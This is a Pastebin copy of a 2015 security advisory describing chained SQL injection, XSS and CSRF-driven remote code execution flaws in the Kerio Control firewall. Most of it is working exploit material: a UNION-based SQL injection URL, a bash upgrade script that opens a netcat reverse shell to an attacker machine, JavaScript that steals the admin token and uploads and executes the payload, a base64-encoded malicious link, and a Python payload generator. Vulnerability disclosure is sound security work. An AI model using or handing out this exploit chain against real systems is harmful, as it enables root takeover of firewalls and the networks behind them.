moften

IntelliSec Advisory - Multiple Vulnerabilities in Kerio Cont

Oct 15th, 2015
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.26 KB | None | 0 0
  1. IntelliSec Security Advisory
  2.  
  3. ==============================================================================================
  4.  
  5. Title: Multiple Vulnerabilities in Kerio Control (Virtual Appliance)
  6.  
  7. Vulnerabilities: XSS, SQL Injection, Remote Code Execution through CSRF
  8.  
  9. Product: Kerio Control
  10. Homepage: http://www.kerio.com
  11. Affected Version: <= 8.6.1
  12. Fixed Version: 8.6.2 (partially fixed)
  13. Impact: critical
  14. Date: 2015-10-12
  15.  
  16. Author: Raschin Tavakoli | IntelliSec GmbH
  17. http://www.intellisec.at
  18.  
  19. Links: https://youtu.be/EzTI2WlGHb4
  20.  
  21. ===============================================================================================
  22.  
  23. Vendor description:
  24. ===================
  25.  
  26. Kerio Control is a unified threat management firewall developed by Kerio Technologies. It
  27. features intrusion prevention, content filtering, activity reporting, bandwidth management,
  28. and virtual private networking. Kerio Control runs Linux, providing network perimeter defense
  29. for small to medium organizations.
  30.  
  31. Vulnerabilities
  32. ===============
  33. 1. XSS with Anti-XSS-Filter bypass (nonauth area)
  34. 2. SQL Injection (non-admin area)
  35. 3. Remote Code Execution (admin area)
  36.  
  37. By chaining the vulnerabilities together in combination with user interaction, an attacker may
  38. gain full control over the firewall and the underlying network.
  39.  
  40.  
  41. Attack Scenario
  42. ===============
  43.  
  44. The first attack could be to trick non-admin users to follow a malicious link in order to trigger
  45. a CSRF exploit via the /nonauth/certificate.php script. The script may exploit the SQL Injection
  46. flaw in reports.php for example.
  47. Once able to query the database, sensitive data of the users can be transmitted back to the
  48. attacker. Information of interest could be for example the traffic usage of admin users and their
  49. top-visited webpages.
  50.  
  51. In the next attack, this information may be used to embed another CSRF exploit into one of
  52. the top-visited webpages. If the attacker succeeds and the exploit gets triggered by a visiting
  53. admin, arbitrary remote code execution will be gained.
  54.  
  55. ===============================================================================================
  56. 1. SQL Injection:
  57. ===============================================================================================
  58.  
  59. Description:
  60. ============
  61.  
  62. Kerio Control suffers from an SQL Injection flaw in the report.php script.
  63.  
  64. It is not necessary to use blind sql injection, as the output will be rendered into an image file.
  65. As the text in the image file has a fixed size, multiple union selects can be combined to render out
  66. multiple images containing the result text of the query.
  67.  
  68. In order to exploit the issue, a user has to be authenticated. For non-admin users, webreports
  69. have to be enabled.
  70.  
  71. This issue is fixed in 8.6.2
  72.  
  73. Proof of Concept:
  74. =================
  75.  
  76. GET /report.php?id=1'+OR+'1'%3d'1'%3b+-- HTTP/1.1
  77. Host: testbox:4081
  78. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
  79. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  80. Accept-Language: en-US,en;q=0.5
  81. Accept-Encoding: gzip, deflate
  82. Cookie: SESSION_CONTROL_WEBIFACE=c0fa6c207d812da1fce3e2ff2bc2e609948988a041f5a23adb64064a42010e6b;
  83. TOKEN_CONTROL_WEBIFACE
  84.  
  85. For example, to read out the admin's internal UUID number, the following union based sql injection
  86. can be used:
  87.  
  88. https://testbox:4081/report.php?start=16703, 0, 0) UNION SELECT 'x', 'Admin UUID: ' ||
  89. substring(cast( (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256))
  90. from 1 for 14), REQUESTS FROM GET_ALL_TOP_WEBS_D(16703, 1) UNION SELECT 'y', substring(cast(
  91. (select UUID from USER_LIST WHERE USERNAME='Admin') as varchar(256)) from 15 for 40), '7'
  92. FROM GET_ALL_TOP_WEBS_D(16703, 1);+--+&end=16703&id=0'+OR+USERNAME='Admin';+--+
  93.  
  94. ========================
  95. 2. Cross Site Scripting
  96. ========================
  97.  
  98. Description:
  99. ============
  100.  
  101. The server parameter in the nonauth/certificate.php script suffers from an non persistent XSS
  102. vulnerability. The payload needs to be base64 encoded and will be decoded at runtime. That way
  103. it bypasses all Anti-XSS Filters of modern browsers, which increases the severity of this issue
  104. significantly.
  105.  
  106. The issue has been tested with OS X Chrome Version 45.0.2454.101, OS X Safari Version 9.0
  107. (10601.1.56.2), Linux Chromium Version 37.0.2062.120 and Linux Iceweasel 31.8.0
  108.  
  109. This issue is fixed in 8.6.2
  110.  
  111. ===============================================================================================
  112. 3. Remote Command Execution via File Upload
  113. ===============================================================================================
  114.  
  115. Description:
  116. ============
  117.  
  118. The Kerio Control upgrade function in the admin interface suffers from a RCE vulnerability.
  119. A malicious ssh script can be uploaded and executed with root privileges. This can be done by
  120. simply changing a tar file to the extension .img. If this tar file contains a upgrade.sh shell
  121. script, this script will be executed with root privileges.
  122.  
  123. Kerio did not provide a fix for the upgrade functionality yet.
  124.  
  125. The Kerio admin interface by itself does not provide a functionality to execute shell commands
  126. on the underlying Linux system nor a possibility to enable ssh. SSH is disabled by default and
  127. can only be enabled through the Kerio Console Application.
  128.  
  129. More, this issue becomes critical, if it is combined with an CSRF attack.
  130.  
  131. ========================================
  132. 4. Remote Command Execution through CSRF
  133. ========================================
  134.  
  135. Description:
  136. ============
  137.  
  138. If a user with an authenticated admin session can be tricked to follow a specially crafted link
  139. (containing the base64 encoded payload), complete control over the firewall can be gained.
  140.  
  141. Proof of Concept:
  142. =================
  143.  
  144. Create a Bash Script:
  145. ---------------------
  146. # cat upgrade.sh
  147. # #!/bin/bash
  148. # nc 10.0.0.2 5555 -e /bin/bash &
  149.  
  150. # tar czf upgrade.tar.gz *
  151. # mv upgrade.tar.gz upgrade.img
  152.  
  153. Open a netcat listener on the attacker's machine 10.0.0.2:
  154. ----------------------------------------------------------
  155. # nc -lvp 5555
  156.  
  157. Generate Javascript Payload (File Upload and Execution):
  158. --------------------------------------------------------
  159. <script>
  160. url='http://10.0.0.1:4081/admin';
  161. _token="";
  162. _file="";
  163. _id = "";
  164. function reqListener () {
  165. obj = JSON.parse(this.responseText);
  166. file = obj.result.fileUpload.name;
  167. id = obj.result.fileUpload.id;
  168. createIFrame(file, id);
  169. }
  170. function createIFrame(file, id) {
  171. iframe=document.createElement("iframe");
  172. iframe.src=url + "/constants.js.php";
  173. iframe.style.display = "none";
  174. iframe.sandbox="allow-scripts allow-same-origin";
  175. iframe.onload=function() {
  176. cookie = iframe.contentWindow.document.cookie;
  177. var re = new RegExp(name + "=([^;]+)");
  178. var value = re.exec(cookie);
  179. var token=(value != null) ? unescape(value[1]) : null;
  180. executeScript(file, id, token);
  181. }
  182. document.body.appendChild(iframe);
  183. }
  184. function executeScript(file, id, token) {
  185. _file = file;
  186. _id = id;
  187. _token = token;
  188. var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);
  189. xmlhttp.setRequestHeader("X-Token", token);
  190. xmlhttp.addEventListener("load", executeScript2);
  191. xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  192. xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  193. xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));
  194. }
  195. function executeScript2(file, token) {
  196. var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);
  197. xmlhttp.setRequestHeader("X-Token", _token);
  198. xmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");
  199. xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
  200. xmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));
  201. }
  202. var xhr = new XMLHttpRequest();
  203. xhr.open("POST", url + "/api/jsonrpc/upload/", true);
  204. xhr.addEventListener("load", reqListener);
  205. xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  206. xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
  207. xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");
  208. xhr.withCredentials = true;
  209. var body = "-----------------------------1038495162429835808207612951\r\n" +
  210. "Content-Disposition: form-data; name=\"uploadImage\"; filename=\"upgrade.img\" \r\n" +
  211. "Content-Type: application/octet-stream\r\n" +
  212. "\r\n" +
  213. "\x1f\x8b\x08\x00\xe0\x6e\x02\x56\x00\x03\xed\xce\xb1\x0e\x82\x30\x10\xc6\xf1\xce\x3c\xc5\x19\x13\x37\xe1\x8a\x2d\x3e\x4f\x51\x22\x2e\x60\x5a\x78\x7f\xab\x83\x24\x0e\x3a\x11\x63\xf2\xff\xdd\xf0\x25\xf7\xdd\x70\xf3\xed\x12\xc3\xb9\x2b\x53\x6f\x56\xa3\x59\xe3\xdc\x33\xb3\xf7\x54\xf5\xce\xd8\xba\x51\x75\xcd\xf1\xe0\xf2\xde\x5a\x9f\x43\x74\xbd\x97\x16\x73\x9a\x42\x14\x31\x71\x1c\xa7\x4f\x77\xdf\xfa\x3f\xb5\xdd\x54\xed\x75\xa8\xda\x90\xfa\x62\x38\x89\xd5\xf2\x31\xb5\xf8\x4c\xf6\x9d\xbc\x5a\xd9\x15\xbf\xfe\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\xb8\x03\x94\x67\x18\xfa\x00\x28\x00\x00\r\n" +
  214. "-----------------------------1038495162429835808207612951--\r\n";
  215. var aBody = new Uint8Array(body.length);
  216. for (var i = 0; i < aBody.length; i++)
  217. aBody[i] = body.charCodeAt(i);
  218. xhr.send(new Blob([aBody]));
  219. </script>
  220.  
  221. Base64 encode and craft malicous link:
  222.  
  223. https://testbox:4081/nonauth/certificate.php?server=PHNjcmlwdD4KdXJsPSdodHRwOi8vMTAuMC4wLjE6NDA4MS9hZG1pbic7Cl90b2tlbj0iIjsKX2Zp
  224. bGU9IiI7Cl9pZCA9ICIiOwpmdW5jdGlvbiByZXFMaXN0ZW5lciAoKSB7CglvYmogPSBKU09OLnBh
  225. cnNlKHRoaXMucmVzcG9uc2VUZXh0KTsKCWZpbGUgPSBvYmoucmVzdWx0LmZpbGVVcGxvYWQubmFt
  226. ZTsKCWlkID0gb2JqLnJlc3VsdC5maWxlVXBsb2FkLmlkOwoJY3JlYXRlSUZyYW1lKGZpbGUsIGlk
  227. KTsKfQpmdW5jdGlvbiBjcmVhdGVJRnJhbWUoZmlsZSwgaWQpIHsKCWlmcmFtZT1kb2N1bWVudC5j
  228. cmVhdGVFbGVtZW50KCJpZnJhbWUiKTsKCWlmcmFtZS5zcmM9dXJsICsgIi9jb25zdGFudHMuanMu
  229. cGhwIjsKCWlmcmFtZS5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwoJaWZyYW1lLnNhbmRib3g9ImFs
  230. bG93LXNjcmlwdHMgYWxsb3ctc2FtZS1vcmlnaW4iOwoJaWZyYW1lLm9ubG9hZD1mdW5jdGlvbigp
  231. IHsKCQljb29raWUgPSBpZnJhbWUuY29udGVudFdpbmRvdy5kb2N1bWVudC5jb29raWU7CgkJdmFy
  232. IHJlID0gbmV3IFJlZ0V4cChuYW1lICsgIj0oW147XSspIik7CgkJdmFyIHZhbHVlID0gcmUuZXhl
  233. Yyhjb29raWUpOwoJCXZhciB0b2tlbj0odmFsdWUgIT0gbnVsbCkgPyB1bmVzY2FwZSh2YWx1ZVsx
  234. XSkgOiBudWxsOwoJCWV4ZWN1dGVTY3JpcHQoZmlsZSwgaWQsIHRva2VuKTsKCX0KCWRvY3VtZW50
  235. LmJvZHkuYXBwZW5kQ2hpbGQoaWZyYW1lKTsKfQpmdW5jdGlvbiBleGVjdXRlU2NyaXB0KGZpbGUs
  236. IGlkLCB0b2tlbikgewoJX2ZpbGUgPSBmaWxlOwoJX2lkID0gaWQ7CglfdG9rZW4gPSB0b2tlbjsK
  237. CXZhciB4bWxodHRwPW5ldyBYTUxIdHRwUmVxdWVzdCgpO3htbGh0dHAub3BlbigiUE9TVCIsIHVy
  238. bCArICIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgt
  239. VG9rZW4iLCB0b2tlbik7Cgl4bWxodHRwLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBleGVjdXRl
  240. U2NyaXB0Mik7Cgl4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgtUmVxdWVzdGVkLVdpdGgiLCAi
  241. WE1MSHR0cFJlcXVlc3QiKTsKCXhtbGh0dHAuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBl
  242. IiwgImFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOCIpOwoJeG1saHR0cC5zZW5kKEpTT04u
  243. c3RyaW5naWZ5KHsianNvbnJwYyI6IjIuMCIsImlkIjoxLCJtZXRob2QiOiJVcGRhdGVDaGVja2Vy
  244. LnVwbG9hZEltYWdlIiwicGFyYW1zIjp7ImZpbGVJZCI6IGZpbGV9fSkpOwp9CmZ1bmN0aW9uIGV4
  245. ZWN1dGVTY3JpcHQyKGZpbGUsIHRva2VuKSB7Cgl2YXIgeG1saHR0cD1uZXcgWE1MSHR0cFJlcXVl
  246. c3QoKTt4bWxodHRwLm9wZW4oIlBPU1QiLCB1cmwgKyIvYXBpL2pzb25ycGMvIiwgdHJ1ZSk7Cgl4
  247. bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIlgtVG9rZW4iLCBfdG9rZW4pOwoJeG1saHR0cC5zZXRS
  248. ZXF1ZXN0SGVhZGVyKCJYLVJlcXVlc3RlZC1XaXRoIiwgIlhNTEh0dHBSZXF1ZXN0Iik7Cgl4bWxo
  249. dHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi9qc29uO2No
  250. YXJzZXQ9VVRGLTgiKTsKCXhtbGh0dHAuc2VuZChKU09OLnN0cmluZ2lmeSh7Impzb25ycGMiOiIy
  251. LjAiLCJpZCI6MSwibWV0aG9kIjoiVXBkYXRlQ2hlY2tlci5wZXJmb3JtQ3VzdG9tVXBncmFkZSIs
  252. InBhcmFtcyI6eyJpZCI6IF9pZCB9fSkpOwp9CnZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3Qo
  253. KTsKeGhyLm9wZW4oIlBPU1QiLCB1cmwgKyAiL2FwaS9qc29ucnBjL3VwbG9hZC8iLCB0cnVlKTsK
  254. eGhyLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7Cnhoci5zZXRSZXF1ZXN0
  255. SGVhZGVyKCJBY2NlcHQiLCAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNh
  256. dGlvbi94bWw7cT0wLjksKi8qO3E9MC44Iik7Cnhoci5zZXRSZXF1ZXN0SGVhZGVyKCJBY2NlcHQt
  257. TGFuZ3VhZ2UiLCAiZW4tVVMsZW47cT0wLjUiKTsKeGhyLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRl
  258. bnQtVHlwZSIsICJtdWx0aXBhcnQvZm9ybS1kYXRhOyBib3VuZGFyeT0tLS0tLS0tLS0tLS0tLS0t
  259. LS0tLS0tLS0tLS0xMDM4NDk1MTYyNDI5ODM1ODA4MjA3NjEyOTUxIik7Cnhoci53aXRoQ3JlZGVu
  260. dGlhbHMgPSB0cnVlOwp2YXIgYm9keSA9ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEw
  261. Mzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTFcclxuIiArIAoiQ29udGVudC1EaXNwb3NpdGlvbjog
  262. Zm9ybS1kYXRhOyBuYW1lPVwidXBsb2FkSW1hZ2VcIjsgZmlsZW5hbWU9XCJ1cGdyYWRlLmltZ1wi
  263. IFxyXG4iICsgCiJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbVxyXG4iICsg
  264. CiJcclxuIiArIAoiXHgxZlx4OGJceDA4XHgwMFx4YWJceDZmXHgwMlx4NTZceDAwXHgwM1x4ZWRc
  265. eGNlXHhiMVx4MGVceDgyXHg0MFx4MTBceDg0XHhlMVx4YWJceDc5XHg4YVx4MzVceDI2XHg3Nlx4
  266. YzJceDFlXHhkZVx4MWRceGNmXHgwM1x4NGFceGM0XHgwNlx4Y2NceDFkXHhiY1x4M2ZceDY4XHgy
  267. MVx4ODlceDg1XHg1Nlx4YzRceDk4XHhmY1x4ZGZceDE2XHg1M1x4Y2NceDE2XHgzM1x4ZGRceGFm
  268. XHhiMVx4YmVceGI0XHg3OVx4ZWFceGNjXHg2Nlx4NzRceDExXHg5Y1x4N2JceGU2XHhlMlx4M2Rc
  269. eDU1XHhiZFx4MzNceGI2XHgwY1x4YWFceDJlXHg1NFx4YzFceDlmXHg4Y1x4NWFceGViXHg1ZFx4
  270. NjVceDQ0XHhiN1x4OWJceGI0XHg5YVx4ZDJceDU4XHg0N1x4MTFceDEzXHg4N1x4NjFceGZjXHhm
  271. NFx4ZjdceGFkXHhmZlx4NTNceGZiXHg1ZFx4ZDFceGRjXHhmYVx4YTJceGE5XHg1M1x4OTdceGY1
  272. XHg2N1x4YjFceDlhXHgzZlx4YWVceDE0XHhiZlx4OTBceDYzXHgyYlx4YWZceDU2XHgwZVx4ZDlc
  273. eGFmXHhiN1x4MDJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4
  274. MDBceDAwXHg1Nlx4MzNceGNmXHhiMlx4M2JceDZjXHgwMFx4MjhceDAwXHgwMFxyXG4iICsgCiIt
  275. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTEwMzg0OTUxNjI0Mjk4MzU4MDgyMDc2MTI5NTEt
  276. LVxyXG4iOwp2YXIgYUJvZHkgPSBuZXcgVWludDhBcnJheShib2R5Lmxlbmd0aCk7CmZvciAodmFy
  277. IGkgPSAwOyBpIDwgYUJvZHkubGVuZ3RoOyBpKyspCmFCb2R5W2ldID0gYm9keS5jaGFyQ29kZUF0
  278. KGkpOyAKeGhyLnNlbmQobmV3IEJsb2IoW2FCb2R5XSkpOwo8L3NjcmlwdD4K
  279.  
  280.  
  281. Python 3 payload generator
  282. ==========================
  283. For easier testing, we developed a small python script that can be used to
  284. generate the payload:
  285.  
  286. #!/usr/bin/python
  287.  
  288. # ====================================================================== #
  289. # Title: Remote Command Execution through CSRF - Payload Generator #
  290. # Author: Raschin Tavakoli - IntelliSec GmbH #
  291. # Date: 12.10.2015 #
  292. # #
  293. # Description: #
  294. # This python3 script generates the payload to exploit the RCE via CSRF #
  295. # vulnerability in the Kerio Control Virtual Appliance. #
  296. # #
  297. # First a shell script will be packed as an Kerio upgrade.img file. Then #
  298. # a Javascript will be generated which uploads the file via the Kerio #
  299. # upgrade function. The payload will then be base64 encoded and can be #
  300. # injected into the server parameter of the #
  301. # nonauth/certificate.php script (). #
  302. # #
  303. # Example Usage: #
  304. # csrf-gen-payload.py -t https://10.0.0.8:4081/admin -l 10.0.0.7 -p 5555 #
  305. # ====================================================================== #
  306.  
  307. import os
  308. import shutil
  309. import base64
  310. import argparse
  311. import subprocess
  312. from optparse import OptionParser
  313. import codecs
  314. import sys
  315.  
  316. tmpdir = "/tmp/kerio_upgrade"
  317.  
  318. def usage():
  319. print ("\nUsage: csrf-gen-payload -f <file> -t <target-url> \n")
  320. print("Example: csrf-gen-payload.py -f upgrade.sh -t https://10.0.0.8:4081/admin \n")
  321. exit()
  322.  
  323. def main():
  324.  
  325. parser = OptionParser()
  326. parser.add_option("-f", "--file", dest="file",
  327. help="the bash file for remote execution", metavar="TARGET")
  328. parser.add_option("-t", "--target", dest="target_url",
  329. help="specify the target url", metavar="TARGET")
  330.  
  331. (options, args) = parser.parse_args()
  332.  
  333. file = options.file
  334. target_url = options.target_url
  335.  
  336. if not target_url or not file:
  337. usage()
  338.  
  339. # ====================================================================== #
  340. # Create upgrade.img file #
  341. # ====================================================================== #
  342. orgdir = os.path.dirname(os.path.realpath(__file__))
  343.  
  344. try:
  345. if os.path.exists(tmpdir):
  346. shutil.rmtree(tmpdir)
  347. except:
  348. print("Cannot clean " + tmpdir)
  349.  
  350. os.mkdir(tmpdir)
  351.  
  352. shutil.copy(file, tmpdir + os.path.sep + "upgrade.sh")
  353. os.chdir(tmpdir)
  354. os.system("tar czf upgrade.tar.gz *")
  355. src = os.path.join(tmpdir, "upgrade.tar.gz")
  356. dst = os.path.join(tmpdir, "upgrade.img")
  357. os.rename(src, dst)
  358.  
  359. f = open('upgrade.img', 'rb',)
  360. bin_data = f.read()
  361. f.close()
  362.  
  363. hexdata = "".join("\\x{:02x}".format(c) for c in bin_data)
  364.  
  365. # ====================================================================== #
  366. # Generate Javascript Payload #
  367. # ====================================================================== #
  368. script = ('<script>\n' +
  369. 'url=\'' + target_url +
  370. '\';\n' +
  371. '_token="";\n' +
  372. '_file="";\n' +
  373. '_id = "";\n' +
  374. 'function reqListener () {\n' +
  375. '\tobj = JSON.parse(this.responseText);\n' +
  376. '\tfile = obj.result.fileUpload.name;\n' +
  377. '\tid = obj.result.fileUpload.id;\n' +
  378. '\tcreateIFrame(file, id);\n' +
  379. '}\n' +
  380. 'function createIFrame(file, id) {\n' +
  381. '\tiframe=document.createElement("iframe");\n' +
  382. '\tiframe.src=url + "/constants.js.php";\n' +
  383. '\tiframe.style.display = "none";\n' +
  384. '\tiframe.sandbox="allow-scripts allow-same-origin";\n' +
  385. '\tiframe.onload=function() {\n' +
  386. '\t\tcookie = iframe.contentWindow.document.cookie;\n' +
  387. '\t\tvar re = new RegExp(name + "=([^;]+)");\n' +
  388. '\t\tvar value = re.exec(cookie);\n' +
  389. '\t\tvar token=(value != null) ? unescape(value[1]) : null;\n' +
  390. '\t\texecuteScript(file, id, token);\n' +
  391. '\t}\n' +
  392. '\tdocument.body.appendChild(iframe);\n' +
  393. '}\n' +
  394. 'function executeScript(file, id, token) {\n' +
  395. '\t_file = file;\n' +
  396. '\t_id = id;\n' +
  397. '\t_token = token;\n' +
  398. '\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url + "/api/jsonrpc/", true);\n' +
  399. '\txmlhttp.setRequestHeader("X-Token", token);\n' +
  400. '\txmlhttp.addEventListener("load", executeScript2);\n' +
  401. '\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
  402. '\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
  403. '\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.uploadImage","params":{"fileId": file}}));\n' +
  404. '}\n' +
  405. 'function executeScript2(file, token) {\n' +
  406. '\tvar xmlhttp=new XMLHttpRequest();xmlhttp.open("POST", url +"/api/jsonrpc/", true);\n' +
  407. '\txmlhttp.setRequestHeader("X-Token", _token);\n' +
  408. '\txmlhttp.setRequestHeader("X-Requested-With", "XMLHttpRequest");\n' +
  409. '\txmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");\n' +
  410. '\txmlhttp.send(JSON.stringify({"jsonrpc":"2.0","id":1,"method":"UpdateChecker.performCustomUpgrade","params":{"id": _id }}));\n' +
  411. '}\n' +
  412. 'var xhr = new XMLHttpRequest();\n' +
  413. 'xhr.open("POST", url + "/api/jsonrpc/upload/", true);\n' +
  414. 'xhr.addEventListener("load", reqListener);\n' +
  415. 'xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");\n' +
  416. 'xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");\n' +
  417. 'xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1038495162429835808207612951");\n' +
  418. 'xhr.withCredentials = true;\n' +
  419. 'var body = "-----------------------------1038495162429835808207612951\\r\\n" + \n' +
  420. '"Content-Disposition: form-data; name=\\"uploadImage\\"; filename=\\"upgrade.img\\" \\r\\n" + \n' +
  421. '"Content-Type: application/octet-stream\\r\\n" + \n' +
  422. '"\\r\\n" + \n' +
  423.  
  424. '"' + hexdata + '\\r\\n" + \n' +
  425.  
  426. '"-----------------------------1038495162429835808207612951--\\r\\n";\n' +
  427. 'var aBody = new Uint8Array(body.length);\n' +
  428. 'for (var i = 0; i < aBody.length; i++)\n' +
  429. 'aBody[i] = body.charCodeAt(i); \n' +
  430. 'xhr.send(new Blob([aBody]));\n' +
  431. '</script>')
  432.  
  433. print(script)
  434.  
  435. os.chdir(orgdir)
  436. shutil.rmtree(tmpdir)
  437.  
  438. if __name__ == '__main__':
  439. main()
Add Comment
Please, Sign In to add comment